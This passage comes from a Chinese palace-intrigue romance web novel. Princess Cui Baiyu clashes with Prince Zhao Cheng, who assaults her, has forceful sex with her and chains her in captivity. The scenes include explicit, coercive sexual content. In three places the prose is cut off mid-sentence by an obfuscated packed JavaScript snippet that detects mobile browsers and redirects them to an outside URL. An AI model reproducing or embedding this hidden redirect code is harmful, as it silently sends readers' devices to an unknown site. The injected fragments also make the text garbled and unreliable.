如今,在朝堂上有话语权的,一个是太后,令一个便是长乐郡主。 许氏咬了下唇,“她说,同为女子,郡主一定能体谅民妇的心情,为民妇伸冤。” 崔白玉不动声色地盯着她看了一会儿。 许氏被盯得很不自在,泛着水光的眼剧烈颤动睫,额头也渗出细密的汗珠。 而就在这时,宫里的探子来报,“太子殿下被宸王带走了。” 崔白玉:“...............” 她稍稍平复心情,看了一眼许氏,“先把人带回东宫。” 宸王府。 崔白玉站在门口,干巴巴地杵了半天,一脸不情愿的进了宸王府的大门。 她跟着丫鬟一路来到正堂,不知不觉间,头上立起来几根呆毛,心情糟糕到了极点。 崔白玉愈发觉得这里真不是人待的地方。 偏偏还惹不起人家。 丫鬟恭敬地奉上茶水,道:“殿下在书房议事,郡主稍等一下。” 崔白玉摆手道:“没事,他想议多长时间就议,我在这等着他,还能跑了不成。” 丫鬟侍立一旁,没有吭声。 崔白玉很快调整了一下情绪,漫不经心地端起茶杯抿了一口,过了一会儿,脑中冷不丁冒出一个想法,问道:“宸王殿下府里也没个女主人?” 丫鬟还是没应声。 崔白玉故作惊奇道:“养在外面了?” 丫鬟看都没看她一眼,听见外面的脚步声,径直离开屋子。 崔白玉见状,赶忙闭上嘴。 常昭进屋道:“殿下请您过去。” 崔白玉心道:“不是在议事吗?” 水榭悬于湖心,榭中设青花石案,四围种满了莲花,皆为罕见的并蒂品种,偶尔有锦鲤游过,倒有几分趣味。 崔白玉观赏着水榭的景色,望见那人有一瞬间恍惚,脚步跟着顿了一下,顿感郁郁。 还是不太想靠近他。 方才端茶倒水的丫鬟正在他旁边讲话,估计是把刚才的事都转述给他了。 肯定还有那句阴阳他外面养人。 崔白玉有时候也挺恨自己长了一张嘴的。 赵丞静静地看着她走过来,目光定定。 崔白玉不想跟他打太极,也不想说那些没用的寒暄,开门见山道:“太子呢?” 赵丞还在盯着她看。 这种时候被这么专注地打量,崔白玉有些头皮发麻,斟酌片刻,道:“宸王殿下难不成还要威胁一个小孩子?” 赵丞靠近了一步,冷冷地道:“太子不学无术,我好心找人教他,怎么到你这就是我的错?” 你能有这么好心?崔白玉下意识跟他保持距离,目光移向别处。 其实倒也不必如此,赵丞若是想对她做什么,她根本没有还手的余地。 这时,常昭非常合适宜地递过来一本小册子,放在她面前。 崔白玉抬眸看了一眼赵丞,随手翻看了一下册子里面的内容,是赵辛写得策论。 她理直气壮道:“怎么,内容有错吗?” 赵丞道:“字太丑。” 崔白玉无言以对,俨然是气笑了,“我手把手教的怎么就字丑?” 赵丞脸色瞬间沉了下来。 两人破字如出一辙,赵丞一眼就能看出来师从何人,今日闹得这出,无非是想挑她的刺!崔白玉混沌恍惚的大脑一下子清醒过来,道:“难道你还想找个夫子也手把手教我习字?” 赵丞慢慢攥紧拳头,毫不留情地说:“送客。” 两人剑拔弩张,崔白玉站在原地不动,丫鬟们也拿不定主意,道:“太子呢?” 赵丞道:“我说了,他回不去。” 崔白玉道:“你就非要和我过不去?” “和你?”赵丞冷哼一声,“你是不是太看得起自己了?” “宸王殿下英明神武,自然不会和我一个阴险小人计较,”崔白玉眼珠转动,忽然想到了一个恶心他的法子,语气陡然一变,“你是想借着太子的名义,想将我押在府里?” 赵丞的脸色微微一变,崔白玉继续说道:“押在府里做什么?” 常昭觉得自己站在这里太多余了。 果不其然,接下来的话直接劈开了他的天灵盖。 崔白玉一双漆黑的眼睛藏去了锋芒,意味深长地说道:“宸王殿下心思怎么这般龌龊?” 常昭:“!!!”还倒打一耙? 这是活得不耐烦了吗? 把她 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15393540|164567||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 逼急了定然什么心思都往他身上使,赵丞听到这话一点都不惊讶,冷笑道:“你最好记住现在的话。” 崔白玉深知赵丞的人品,不以为意。 他也就是手段残暴些,至于女色,完全是个禁欲的和尚,没准还不行呢。 不过,这次怎么不说她不配了? 两人正僵持着,忽然有人来到了水榭,说:“郡主,东宫那边传话了,太后娘娘要你过去一趟。” 崔白玉气昏头,看都没看他一眼,不耐烦的说:“什么事?” 天人打架,岂是普通人遭得起的?小太监怕被殃及,一直深埋着头,“说是商议郡主的婚事。” 赵丞闻言,眉头狂跳。 婚事?崔白玉回头瞧了一眼,怒火冲天的脑袋瞬间冷静不少。 她差点把这茬忘了,齐嬛一直想让他嫁给齐云枫,一步步分割她的产业,她还得趁着婚事还没落下,干点惊天动地的事,让齐云枫知难而退。 崔白玉瞧了一眼死气沉沉的赵丞,决定先将赵辛的事搁置一下。 他是被光明正大带进宸王府,赵丞应该不会拿他怎么样,顶多会吃些苦头。 权衡之下,崔白玉缓缓开口:“想必殿下也听到了,我还有事,就不奉陪了,太子若是学完功课,还请把人送回去。” 一刹那,赵丞硬生生捏碎了手里的杯子,水榭里里外外的丫鬟侍卫瞬间跪了一地。 崔白玉也跟着心神俱颤,浑身的寒毛都倒立起来。 赵丞脸色阴沉得可怕,周身的空气都仿佛凝结成冰,一字一句,从紧咬的齿缝间迸出,“你今日敢踏出去一步,死得就是赵辛。” 崔白玉心脏一阵紧缩,后退几步,贴着冰凉的柱子,与他目不转睛对视,半天才挤出一句:“........你想如何?” 翻车翻的太快,她都有点应接不暇了。 “你不是说我心思龌龊么?”一时妒恨交加,赵丞眼中的暗色一瞬间彻底汹涌,大步朝她逼近,伸出手,钳制住崔白玉的后颈,直接狠狠咬了上去。 无论是力道还是动作都很暴戾。 崔白玉猛地睁大了眼睛,全身僵硬,脑中一片空白,全没有招架之力,就连手也被他握住手腕反绞在身后。 感觉脖子要被撕下来一块肉。 念头一起,几乎无法克制了,赵丞喉结艰难地上下滚动了一回,咬着人迟迟没有松口。 凌乱的呼吸声中,崔白玉回过神来,疼得抽了一口气,“........殿下,我们换个地方?” 这么多人都在呢,虽然都不敢看他们。 赵丞双眼有血丝弥漫,目光牢牢锁在她身上,松开了手。 崔白玉大气都不敢喘一个,抬眸望见那双眸子一瞬间浓烈翻滚的欲色,人一下子裂开了。 她还有救吗?好像装过头了......... 好容易定住心神,下一刻,腰间传来一阵极大的力道,她被赵丞拦腰抱起来,走进一间屋子,毫不怜惜地扔在榻上。 崔白玉看着赵丞的脸色简直不知道说什么好,胸腔一阵激烈起伏,腰间的衣带被一只手扯开, 关键时刻她好像又怕了。 可赵丞的情况就是不太对劲,下颚线凌厉而分明,侵略性极强,眼尾也有些红。 衣裙扔了一地。 两人肌肤相碰,赵丞体温高得骇人,灼热的呼吸落在颈间,膝盖径直抵进她的双膝。 崔白玉心口狂跳,奇异的感觉带着涨痛,脖颈仰成一条线。 下一刻,她胆战心惊地感受着,洁白的额头上生出细密的汗珠。 他居然什么都不懂!!! 崔白玉泪洒心田,被撞得上气不接下气,连趾尖都死死绷了起来,终于狠下心抓住了他的头发,让他轻点。 赵丞没吭声,过了片刻动作慢慢变得缓和。 崔白玉艰难地喘了一口气,想要吻他,结果几次都被狠狠掰了回去,只得在赵丞后背的几道抓痕耗尽了最后一丝力气,之后便疼昏过去。 40. 囚禁 天色已晚。 周正德从轿子里走出来,站住了脚。 常昭微微皱眉,抬起手臂将人拦在外面,“公公,殿下有事,不方便见客。” 周正德笑了笑,语重心长地说:“常侍卫,咱家此次前来是有要事找殿下。” 常昭屹然不动,“殿下说了,今日谁都不见。” 这第一句话就让周正德心里发怵,他当即面有难色,抽了一口冷气,试探地问:“殿下在府上吗?” 常昭道:“周公公有什么话,可以直接告诉我。” “这.......”周正德心里有些嘀咕,局促地扭扭捏捏,“敢问常侍卫,长乐郡主是不是在王府?” 长乐郡主是个公众人物,在京城一举一动都有人盯着,昨天中午进了宸王府,经历一夜,到现在都没出来,外面已经有些风言风语了。 常昭道:“陛下知道了?” 周正德咂摸了一下嘴,不免长叹一声,“好事不出门,坏事传千里,这事要再没个交代,就扯不清了!” 扯不清?他家殿下现在就是这个意思。 常昭心思一动,妥协道:“既然什么都知晓,我也没有什么可隐瞒的了........” “这这这,这怎得了?”周正德露出见了鬼一样的表情,嘴唇翕动了几下,沉默许久,惶然不敢再继续想下去,压低声音说,“殿下跟郡主,当真有事?” 常昭不作声。 周正德汗流浃背,拿着帕子在脸上一阵乱抹,小心翼翼地问道:“可是受了郡主的威胁?” 郡主的威胁?可能吗?就赵丞那个脾气谁敢威胁他,反正孝元帝派他过来就是探虚实的,常昭一不做二不休,无辜摊手,道:“公公就如实和陛下说罢。” “还让陛下知道?”周正德灰头土脸地离开,不禁摇了摇头。 他心道:“陛下还以为宸王是铁树开花寻到了心仪的姑娘,正满心欢喜琢磨着给二人赐婚成全一段姻缘,可是这人是谁家小娘子不好,偏偏是长乐郡主,这也不般配啊!” 书房。 赵丞交代好军中事务,察觉门外站了丫鬟便遣散了诸位将领。 丫鬟见屋内的人都纷纷走出来,进去行了一礼,“殿下,郡主已经醒了。” 赵丞对身体的控制力极强悍,只是被崔白玉刺激的还是乱了心神,尤其是那双眼睛,眼尾泛着些许红痕,看着像是在求饶,实则更像是在引诱他,可他也看到了一种从未见过的神色。 眼神却有些放空,像是在想些什么。 而且那时,崔白玉也存着坏心思,嘴里叫着痛也要恨不得整个人贴在他身上,反反复复的他折磨。 两人毫无隔阂,肌肤相贴,赵丞浑身每一处都在疯狂叫嚣,想要撕咬、想要占有,几乎没有丝毫的节制。 等到最后,人彻底昏了过去,他才发现把人弄伤了。 月牙上了梢头,芙蓉帐暖,灯下美人。 崔白玉感觉自己分裂成了两半,咬牙忍了一会儿,撑着床沿一点点艰难起身,倚靠在软垫,漆黑的长发随意地散落着。 丫鬟不敢往她身上看,低头将要放在床头的柜子上,便退下了。 不知过了多久,崔白玉意识到身上的目光,偏头看了过去,见赵丞倚在屏风处,深深地凝视自己。 试图穿透她的肉|体去窥探她的内心。 崔白玉腰间一痛,却也露出了似笑非笑的神情。 她眼里的情绪看不透,估计又在想怎么算计他,赵丞走过来,把药碗递到她面前。 崔白玉无力地抬一下手臂,有点气虚的说道:“手疼,让你家小丫鬟过来喂我。” 赵丞端着汤碗不动,“消炎止痛。” “不是避子汤?”崔白玉说完就感觉到有一股逼人的寒气,接过药碗,旋即,小心翼翼地打量他,一副很惊喜的样子,“不是避子汤,你想让我给你生孩子吗?” 赵丞眼神有些变了。 崔白玉不悦地拧起了眉,一边喝药,一边嘴里念叨,“把避子药也端上来吧,现在的医疗措施,我不觉得自己能活下来,当然了,你心一狠,只要孩子不要我,你我就更悲催了。” 赵丞转身吩咐下人熬药。 崔白玉探着身子,将喝了半碗的汤药放了回去,因为触碰到伤口,嘶了一声。 赵丞正在门口讲话,听到动静,回头看了她一眼。 崔白玉对上他目光,挑了一下眉,笑得很柔和。 但她观察着周围的环境,意外发现这里的布局好像不对劲。 她问道:“中午是在这个房间?” 赵丞道:“昨天。” 崔白玉:“.................” 一天一夜就这么过去了? 也是了,这厮好似有使不完的力气似的,第三次结束就被他的禽兽震撼了。 此仇不报非君子! “就算殿下.......天赋异禀,体魄强健,但我还是好心提醒一下行房过度还是伤身体,”崔白玉刚睡醒恢复了些力气,一肚子的坏水又开始作祟了,“殿下是第一次?” 她逗弄起人来带了几分从骨子里透出的矜贵意味。 赵丞看到她这幅模样,额头青筋蹦了蹦,“把药喝了。” 崔白玉道:“太苦,喝了不舒服。” 赵丞反问道:“伤口不疼?” 崔白玉朝他翻了一个白眼,“殿下不会怜香惜玉,日后可没有小娘子跟着。” 赵丞道:“暗格里的药,外敷。” 崔白玉脸上有些挂不住,青白的脸颊涌上血色,当即抄起手边的枕头砸了过去。 赵丞接住枕头扔在地上。 崔白玉道:“殿下毁了我一桩婚事,怎么赔?” 赵丞走过去,端起药碗,大有她不喝,就强制给她灌进去的架势。 崔白玉吃硬不吃软,见状,老实巴交的把药碗喝了个干净。 屋子里陷入沉寂。 赵丞盯着她看了良久,开口道:“不认错?” 崔白玉道:“谁错了?” 赵丞道:“太后不信任你,赵辛也坐不稳太子的位,你能有什么好下场?” 崔白玉笑道:“殿下想跟我谈论旧事?” 赵丞没有说话,不置可否。 崔白玉道:“翻旧账没有意 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15406505|164567||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 义。” 当初,赵丞一直隐瞒身份,任何的行动,任何计划,包括他的心思,崔白玉一无所知,她怎么可能拿着那点喜欢去豪赌。 说到底,错就错在,他们互不信任。 可赵丞不信任她,又如何让她轻而易举在后背捅上一刀? 一个在刀尖上舔血的人,怎么会在受伤的情况下毫无防备。 崔白玉想不明白,只是知道这会儿说什么都晚了。 赵丞道:“没意义?” “不过是一段已成过往的回忆,”崔白玉顿了顿,“你想听什么?我说给你听。” 赵丞倏地抬眼看向她,道:“赵呈死的时候,你不是伤心了许久?” 此呈非彼丞。 崔白玉:“.......................” 她道:“那时候你不也挂了?” 赵丞嗓音嘶哑,容色阴郁,道:“他死前还抱了你,簪子也留着。” 这都什么跟什么!崔白玉无言以对,觉得他有点疯魔了,直接翻身钻进被子里,没搭理他。 赵丞拳头狠狠握了一下,道:“簪子在何处?” 你是个王爷!你跟一个簪子计较什么?崔白玉连给他一巴掌的心都有了,闷声道:“留个念想。” 赵丞的脸明显僵了一下,道:“只念他?” 她怎么就招惹了这么个鬼东西? 不知为何,崔白玉心里竟诡异地产生一丝慰藉,掀开被子道:“你这脑子需要请太医看一下,要不我赞助你一点钱?” 赵丞始终直勾勾地盯着她,眼神十分渗人。 提到钱,崔白玉想起自己的正事,忍着痛翻了回去,“殿下,我们做个交易?” 赵丞道:“什么交易?” 翻脸如翻书,崔白玉抬手勾出了他的掌心,语气里多了几分暧昧,“借我点人呗?” 赵丞不吃这套,“好处。” 还好处呢?崔白玉一脸震惊道:“殿下难不成还想白白睡我一遭?” 赵丞一愣,偏过头俨然是气笑了,“你想拿这个做交易?” 崔白玉心脏漏跳一拍,察觉情况不对,正要开口狡辩,下一刻,赵丞覆上来,将她的两只手牢牢禁锢压在头顶上,“你觉得是交易?” 冷冽低沉的声音在耳边响了起来,崔白玉徒劳地挣脱了几下,喘了口气,“殿下还嫌我身上的印子少?” 长时间的沉默过后,赵丞的力道渐渐松下来,恶狠狠的字句从唇齿间挤出:“你也可以和别人这样?” 耳边的呼吸声变得格外沉重,气氛又僵又冷。 崔白玉涌上一阵不详的预感,避开了他的眼睛。 沉默就是最好的回复,不说就是默认了,赵丞捏住崔白玉的下巴,两人一下子贴得很近,近到呼吸都交缠在一起。 他扯出一个凶狠的笑容,带着上位者的压迫感。 “好啊,你好得很,我倒要看看你能撑多久。” 话落,吧嗒一声,崔白玉手腕处一凉,心也跟着凉了。 赵丞起身离开。 锁链随着动作轻晃,发出细碎声响,崔白玉整个人都懵了。 41. 抉择 崔白玉脸色黑如锅底,有点想砸东西了。 果不其然,第二日清晨,崔某人就开始极不配合,躺在床上装死称病。 领班的丫鬟不敢轻举妄动,轻轻唤了她几声就派人去找赵丞。 “真是不知好歹,宸王殿下为了她都搬去书房,居然还敢拿乔。”底下的丫鬟不服气的嘀咕了几句。 崔白玉闻言,起身叫住人,抬眸打量着她,“方才在说什么?” 丫鬟瞥了她一眼,低下头道:“回郡主,奴婢什么都没说。” 赵丞的吩咐是这里一点差错都不能出,领班的丫鬟皱紧了眉头,按理说今日当值的应该是小翠,怎么会变成一个新人? 她上前解释道:“郡主,她是刚招来的丫鬟,不懂事,奴婢这就把人换了——” “我让你说话了吗?”崔白玉一身单衣,坐在榻旁,端起架子来还是挺像样子的,“滚出去。” 领班的丫鬟一愣,有些不知所措,迟疑了一下,行礼告退。 转眼间,房间里只剩两个人,崔白玉定定看着她,道:“你刚才说了什么,接着说。” 丫鬟窥了一眼她的神情,好似紧张兮兮地说不出话来,“奴婢.........” 崔白玉道:“都没人了,还装模作样?” 话音未落,扑通一声,丫鬟登时跪了下来,求饶道:“郡主,奴婢只是一时嘴快,听了些风言风语才说错了话。” “哦?”崔白玉眉目不动,勉强撑起身子,“你都听了些什么?” 丫鬟暗暗深呼吸,道:“奴婢,奴婢只是听闻宸王要娶郦州孟家长女孟媛.......陛下已经打算赐婚了。” “孟媛.........”崔白玉念了几遍这个名字,心中颇有点说不出的滋味,“确实是个妙人,郎才女貌,倒也相配。” 前两日影卫打探的消息,她本来还觉得奇怪,没想到忽然入京是为这事。 崔白玉心思阴毒,这都多少人都栽在她手里了,丫鬟摸不准她话里的意思,便没在继续往下说。 崔白玉往嘴里塞了两块点心,重新摆盘,伪装成没人动过的样子。 丫鬟注意到她手腕上的锁链,缓缓开口,“郡主,就不想逃离这里?” 崔白玉又吃了几颗葡萄,冷然一笑,“太后让你来的?” 丫鬟道:“是。” 崔白玉缓缓开口道:“好死不如赖活着,我觉得在这当禁|脔也挺好的。” “郡主莫不是忘了,不久的将来宸王殿下是要娶妻的,色衰爱弛,郡主和宸王还能在一起多久?”丫鬟停顿了一下,“还有一点,郡主不会是忘了自己是被太后一手提携。” 崔白玉一个人爬到这么高的位置上,不可能一尘不染。日后一旦太后失势,那些世家便不会让她有翻身的余地,必然将她置之于死地,官场之险恶,崔白玉早已有所领会,“臣女怎敢忘记,臣女能有现在的身份,皆是太后隆恩。” 一朝天子一朝臣,这些年,她作为太后的鹰犬,恶事做尽,大家有目共睹。 太后一旦倒台,那就是树倒猢狲散,而她没有太后撑腰,那接下来,在午门斩首的日子也就不远了,至于那名下的财产,也就自然而然的充入国库。 多年积蓄毁于一旦,不过是人家一句话的事。 君以此始,必以此终。 天道好轮回,恶人受到惩罚是应该的,不然天理何在? 可她好像也不是只做了坏事,她写的那些国策,太后皆以自己名义推行,甚至没有让插手。 .........折腾了这么多年,原来就是这个下场。 果真是牛马的人生,活到尽头空空如也。 崔白玉晃了一下手腕的镣铐,觉得有些累了。 丫鬟的神色凝重起来,道:“太后让郡主在万寿节那日配合行动。” 崔白玉道:“什么行动?” 丫鬟觑着她脸色,试探地问道:“当夜宴会宸王到场,太后会派人行刺,郡主需要配合。” 崔白玉仔细琢磨一番,“那不就是明日了?” “对,所以郡主还是要早做准备,尽快离开这里。”丫鬟不时往门外看一眼,警惕着屋外的动静。 说的轻松?你被拷在这里能离开吗? 崔白玉吃了个半饱,重新躺回床上,好似感慨道:“我还以为太后她老人家不信任我了呢。” 颈间的青痕还没完全消散,手上的伤口,还有镣铐,这都证明她是被逼迫的。丫鬟道:“宸王猪狗不如,太后一定能明白郡主的难处。” 崔白玉抬眼看了看她,眸子深处翻涌着复杂的情绪,道:“还是太后待臣女好。” “这是自然,太后说了,若是能将此事办成,太子殿下便再无性命之忧,”丫鬟朝着她走过去,接着又说:“如此一来,对他的皇兄,也算有了一个交代——” 话说到一半,房间的门就被一脚踹开了。 丫鬟猛然一惊,攥在手里的刀片深深掐进掌心,还没反应过来就被赵丞掐住脖子,直接卸了下巴,“拖出去审。” 竟然连服毒自杀都没机会。 丫鬟被侍卫拖了出去,崔白玉收回目光,躺下来继续装死。 赵丞上朝回来身上的官服还没来及脱下,一脸阴鸷,把人从床上捞起来,“她们说你不吃东西?” 吃饱喝足的崔白玉,目光落在那双骨节分明,手背青筋纠结的手背上,“唔”了一声。 不过就是少吃顿饭而已,至于这么大动干戈吗? 赵丞道:“把饭吃了。” 崔白玉不说话了,想起他要娶妻,脑子里“嗡嗡”响个不停,略略侧头。 赵丞只当她是在怄气,拿起架子上的衣服给她裹上。 崔白玉眼睫轻垂,闷声不动色道:“你想把我关一辈子吗?” 赵丞道:“你以为我还会放你离开?” 崔白玉道:“那我算什么?你的玩物?” 赵丞道:“随你怎么想。” 崔白玉血气上涌,抬起眼睑,近乎仇恨地看着他,“你只是想报复我,关赵辛什么事?” 赵丞不语。 “那我求殿下,只要放赵辛离开,我就给你当一辈子玩物,要不然我就一头撞死在这,没准就回去了,”受制于人是事实,但崔白玉断然不会是乖乖屈服的性子,她一把拎起赵丞的领口,拉近了两人之间的距离,唇角勾着一抹浅浅的笑,“殿下,心里最清楚了,我不是这里的人,我要是死了,不仅合殿下的心意,我也就自由.......” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15411167|164567||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 赵丞僵住了身子,觉得心口绞得疼,如坠冰窟,仿佛切身体会到了那股深入骨髓的寒冷。 他道:“你想死?” 崔白玉忽然一笑,“殿下觉得这里有什么值得我留念的吗?” 没有吗? 赵丞呼吸微微一滞,心脏剧烈地跳动起来,眼睛都变得血红。 过了一会儿,崔白玉就从宸王府里出来了。 一步到位。 她还以为这法子不行呢。 崔白玉若无其事地拍了拍袖子,和台阶上的常昭擦肩而过,继而一笑,抬脚登上马车。 常昭脸色几次变化,看起来是真的气愤到了极点。 他是万万没想到,崔白玉是个如此冷心冷肺之人,仿佛宸王殿下的存在就是个笑话。 一轮满月高悬,回到东宫,桃酥见到人,便赶忙迎上去了,“郡主!” 崔白玉神情复杂地点了头,将马车上写好的密信的交给了梅奕,叮嘱道:“见机行事,切勿走漏风声。” 梅奕点了点头,转身离开。 桃酥跟着她进了书房,找来一沓信件,道:“这两日影卫调查的消息奴婢都总结好了,许氏也安顿下来了。” 崔白玉用手掌压了压信件,问道:“妇人可有异常?” “没,除了每日问郡主何时见她,就没再说什么,”桃酥停顿了一下,“只是,奴婢还发现一件事,这个许氏和洪绣生是同乡。” 崔白玉道:“那个崂山的老婆?” 桃酥点了点头,“奴婢怀疑洪绣生应该是跟她说了什么。” 崔白玉蓦然间那日送走洪绣生的场景,不由得笑了一下。 说来也奇怪,她和那妇人总共见过三次面,但是给她留下深刻印象。 第一次见面,在太阳底下,她正牵着牛在耕地,浑身是泥,跟她说话的时候,磕磕巴巴,表现的局促不安。 第二次见面,是崔白玉写台词让她背,结果她背一天愣是半张纸都没背过来。 第三次就是,那日送她离开。 “要是换成别人,俺不会出这个面,你们这样的人心思多,一张口就能压死俺们这群庄稼人,俺本来是不想冒这个险的,更不敢惦记你那一百两银子,俺和君儿种那三亩地就能糊口,但你是女人,俺信得过你。” 洪绣生三十多岁,皮肤黝黑,面容带着一种坚韧和沧桑感,而手掌和手指上布满厚厚的老茧,像老树上的树瘤。 她抱着君儿跟崔白玉说话,走到山坡上,气都不喘一下。 洪绣生身上有种东西莫名吸引着她。 屋里十分静谧,崔白玉揉了揉发疼的太阳穴,半晌道:“你觉得我该不该帮她?” 桃酥稍稍一愣,摇了摇脑袋,目光露出一丝怜悯之意,“奴婢不知,但奴婢调查的消息........武徵是个好人也是好官。” “如今局势,我不该求个自全之道?”崔白玉看着一沓信件,摆在明面上的就是武徵的生平。 桃酥没有说话,斟了一盏茶递过去。 崔白玉微微垂下眼皮,抬手将信件翻过去,完全没有要看的意思。 安德友投靠宸王,齐嬛的势力已逐渐得到削弱。 这天底下的事以后怕是不能都遂她的愿了。 42. 宫宴 小白在外面跑一天,身上沾了不少土。 桃酥一把拽住了它的后颈,扔进了猫窝,“一天天的就知道瞎跑。”半点用处都没有。 梅奕绕过她,蹲下身给猫碗添了水。 崔白玉沐浴完,穿了一件中衣,从屏风后面走出来,“怎么了?” “小白和梅奕回来了。”桃酥探过身子,动了动鼻尖,“梅奕,你身上什么味道?” 梅奕怀里藏着小鱼干,往后退了一步,见崔白玉走出来,瞳孔骤然一缩。 桃酥也没想到会是这个情形,不由暗暗奇怪,眼巴巴地望着她,“郡主?” 崔白玉锁骨上有两处红痕,惹人遐思,她略一挑眉,并未开口。 桃酥有些想不明白,贴过去问道:“郡主,这不会是宸王……” 梅奕道:“我去杀了他。” 崔白玉一笑,走到他身前,从他胸口摸出了一袋小鱼干,“杀他哪是这么容易的事,这些年太后可没少派人行刺,有哪个伤到他了?” 梅奕胸口剧烈起伏,没有说话。 崔白玉安慰地拍了拍他的肩膀,示意他跟着坐下。 梅奕落座,神色阴沉,却也不敢看她。 桃酥从盒子里拿出准备好的凤仙花汁液,也坐了下来。 三个人围在一张案几,桃酥帮崔白玉涂指甲,然而崔白玉身上熏的是安息香,有缓解情绪波动的功效。 梅奕闻惯了不觉得有困意,但桃酥就不行了,一盏茶的功夫接连张了好几个哈。 崔白玉见她捏着勺子的手抖了又抖,缓缓开口道:“宸王就是崔九,当初在陇州,为了能得到太后的信任我捅了他一刀。” 桃酥瞬间睁大眼睛,背后陡地出了一层冷汗,震惊道:“什么?” 崔九是赵丞,那她们这对曾经苛责蹂躏过他的主仆岂不是完蛋了? 崔白玉悠然叹了口气,“你在京城就没见过他?” 桃酥哭诉道:“郡主,他平时都在军营,前两年又和祁大将军在玉兰关打仗,奴婢怎么可能见到他。” 这可是遥不可及的皇亲国戚,传说中活阎王,地位远超东宫。 崔白玉眼中一片清澈,目光却未落在实处,想起那晚,赵丞背上的几道疤。 先前听到匈奴进犯的战乱消息,镇北军迎雪北上,她还在江南筹备粮草来着,没想到赵丞也去了,她竟然全然不知。 可如此一来,太后之所以能有机会将赵辛立为太子,便是因为赵丞主动请缨去了北疆。 桃酥想了想,颇经历过一些大风浪的镇静,好奇道:“宸王就是崔九?那他怎会这般对郡主,他不应该惦记着苏有枝吗?” 崔白玉道:“他不喜欢苏有枝,只是想有个身份做掩护罢了。”结果让原身误以为他喜欢苏有枝。 梅奕沉默着没有说话。 崔白玉道:“当初我以为他是舔狗没把他放在眼里,谁知道三十年河东三十年河西,现在,倒是受制于人了。” 桃酥道:“什么是舔狗?” 崔白玉没答,抬手端起茶杯,抿了口茶,道:“说说吧,你们有什么应对方法。” 这可真是个难题,桃酥面露难色,斟酌了良久,极为认真的说道:“要不我们带着太子远走高飞,离开这里?” 怎么可能?崔白玉眨了眨眼睫,转头看向另一边,道:“梅奕呢?” 梅奕道:“属下听郡主的。” 崔白玉不着痕迹地轻轻带过,揉了揉他的脑袋,用哄小孩子的语气说:“啊,真是个好孩子。” 不过敷衍的意思还是挺明显的,桃酥继续问道:“那我们投靠宸王还来得及吗?” “投靠他?”崔白玉目中带着笑意,歪着身子坐着,懒懒说一句:“你知道咱们这叫什么吗?” 桃酥道:“什么?” 崔白玉道:“萝卜开会。” 太和殿前的汉白玉栏杆挂满鎏金宫灯。 随着舞乐声奏起,舞姬身着水红霓裳,手持孔雀羽扇翩跹起舞。 太后头戴九凤衔珠冠,腰间系着双龙戏珠玉带,衣袂上是用金线绣的缠枝莲纹,暗纹处缀满细小的珍珠,尽显尊贵。 崔白玉在席间跟着礼部的官员喝了几杯酒。 安德友得了空闲便寻了过来,“郡主这手是怎么伤的?” 崔白玉好似喝得醉醺醺的,垂眸看了一下掌心,“家里养了只小狗,不小咬的。” “诶呦,”安德友眼里浮现着浅浅的笑意,寒暄道,“狗咬的,那可就疼了!” 崔白玉朝他投了一个委屈的眼神,道:“可不是嘛。” 二人目光对了个正着,安德友咳嗽了几声,“今儿第一次在这种地方露面,感觉如何?” 长乐郡主是户部真正的决策人,掌管粮库和绸缎等肥差,这事朝廷上下都心照不宣。 崔白玉道:“没什么稀奇的,多了几双眼睛盯着看罢了。” 平平常常这就没什么好说的了,安德友幽幽叹了口气。 崔白玉撑着桌子起身,走去湖边吹风。 席间,丫鬟走到徐媛身边,小声道:“姑娘,奴婢方才看见宸王殿下拿着披风离开了坐席。” 徐媛放下茶杯,误会了丫鬟的意思,情绪有些低落,道:“这就离开了?”她还没说上话呢。 “姑娘想错了,那披风上面绣着山茶花,是女子款式,”丫鬟捂着嘴笑了一声,“今夜风有些凉,殿下定是担心姑娘着凉准备亲自送过来,真没想到宸王殿下雷厉风行,私下里还是个体己的,想必将来嫁到王府,姑娘过得一定是蜜里调油的日子。” 徐媛面颊发烫,下意识抬手捂住她的嘴,“乱说,我还没嫁过去。” 丫鬟笑嘻嘻道:“姑娘还是去看看吧,殿下是男子,送过来也挺不方便的。” 徐媛点了点头,缓缓站起身。 不远处的凉亭,岸边树影斑驳,微风拂过,湖面泛起层层涟漪。 崔白玉听到身后的动静,回头瞧了一眼,诧异道:“小侯爷。” 方叙言被同窗轮番灌了好几轮酒,走路都有些晃。 听到熟悉又陌生的声音,他抬头望着人,有些难以置信,不知盯着人看了多久,喉结艰难地滚动,像是吞咽着什么难以言说的苦涩,颤声道:“崔姑娘……” 崔白玉没有应声。 方叙言扶着栏杆往前走了几步,渐渐地,眼前人的面容和夜里朝思夜想完全重合。 